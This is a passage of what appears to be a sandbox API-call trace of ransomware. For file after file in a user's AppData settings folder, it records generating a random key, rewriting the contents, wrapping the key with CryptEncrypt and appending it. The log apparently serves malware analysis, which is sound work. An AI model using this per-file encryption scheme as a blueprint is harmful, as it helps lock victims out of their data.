returned 0x0 [0194.568] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x362, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x362, lpOverlapped=0x0) returned 1 [0194.568] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x362 [0194.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.568] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.569] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.569] CloseHandle (hObject=0x1c24) returned 1 [0194.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D4690CFE-6A59-4BAB-BFF7-9ED0D083E798}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.571] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x481, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x481, lpOverlapped=0x0) returned 1 [0194.572] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.572] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x481, lpOverlapped=0x0) returned 1 [0194.573] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x481 [0194.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.573] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.573] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.573] CloseHandle (hObject=0x1c24) returned 1 [0194.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{d20ea4e1-3957-11d2-a40b-0c5020524153}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.575] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x33b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33b, lpOverlapped=0x0) returned 1 [0194.576] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.576] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x33b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33b, lpOverlapped=0x0) returned 1 [0194.577] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33b [0194.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.577] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.577] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.578] CloseHandle (hObject=0x1c24) returned 1 [0194.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.579] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0194.579] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D1AF7F5F-18C1-4143-81E5-EDAF02255883}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.580] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bd, lpOverlapped=0x0) returned 1 [0194.581] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.581] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bd, lpOverlapped=0x0) returned 1 [0194.581] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bd [0194.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.582] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.582] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.582] CloseHandle (hObject=0x1c24) returned 1 [0194.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0194.584] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{d17d1d6d-cc3f-4815-8fe3-607e7d5d10b3}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.584] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ac, lpOverlapped=0x0) returned 1 [0194.585] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.585] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ac, lpOverlapped=0x0) returned 1 [0194.586] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ac [0194.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.586] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.587] CloseHandle (hObject=0x1c24) returned 1 [0194.588] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.588] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0194.588] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{CF081448-68EC-4969-9F8B-BB23B329B712}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.589] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0194.590] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.590] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0194.590] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d2 [0194.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.590] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.591] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.591] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.591] CloseHandle (hObject=0x1c24) returned 1 [0194.595] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.595] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.595] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{CD95D0E3-6B3A-495B-9FDA-57FAD586304D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.595] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0194.597] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-961, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.597] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c1, lpOverlapped=0x0) returned 1 [0194.597] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c1 [0194.597] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.597] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.597] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.598] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.598] CloseHandle (hObject=0x1c24) returned 1 [0194.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.599] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{CD2A5953-36A2-427D-B762-3610F37A5D89}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.600] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f6, lpOverlapped=0x0) returned 1 [0194.601] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1014, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.601] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f6, lpOverlapped=0x0) returned 1 [0194.601] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f6 [0194.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.602] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.602] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.602] CloseHandle (hObject=0x1c24) returned 1 [0194.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.604] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C86B1923-8E1F-414B-83DB-94B09BA73E15}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.605] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0194.606] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.606] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0194.606] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e6 [0194.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.607] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.607] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.607] CloseHandle (hObject=0x1c24) returned 1 [0194.609] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.609] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.609] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C5AE651D-D027-4D11-8125-595B9933C78B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.609] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0194.610] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.610] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0194.611] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x406 [0194.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.611] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.611] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.611] CloseHandle (hObject=0x1c24) returned 1 [0194.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.613] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{c58c4893-3be0-4b45-abb5-a63e4b8c8651}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.613] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x342, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x342, lpOverlapped=0x0) returned 1 [0194.614] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.615] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x342, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x342, lpOverlapped=0x0) returned 1 [0194.615] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x342 [0194.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.615] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: 